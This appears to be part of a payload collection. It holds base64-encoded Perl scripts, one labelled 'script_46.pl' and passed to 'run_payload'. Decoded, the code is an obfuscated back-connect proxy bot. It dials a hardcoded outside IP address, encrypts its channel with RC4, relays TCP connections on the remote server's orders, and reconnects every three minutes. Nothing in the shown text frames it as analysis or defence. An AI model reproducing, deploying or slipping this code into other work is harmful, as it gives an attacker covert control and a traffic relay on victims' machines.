B2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_46.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTg4JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3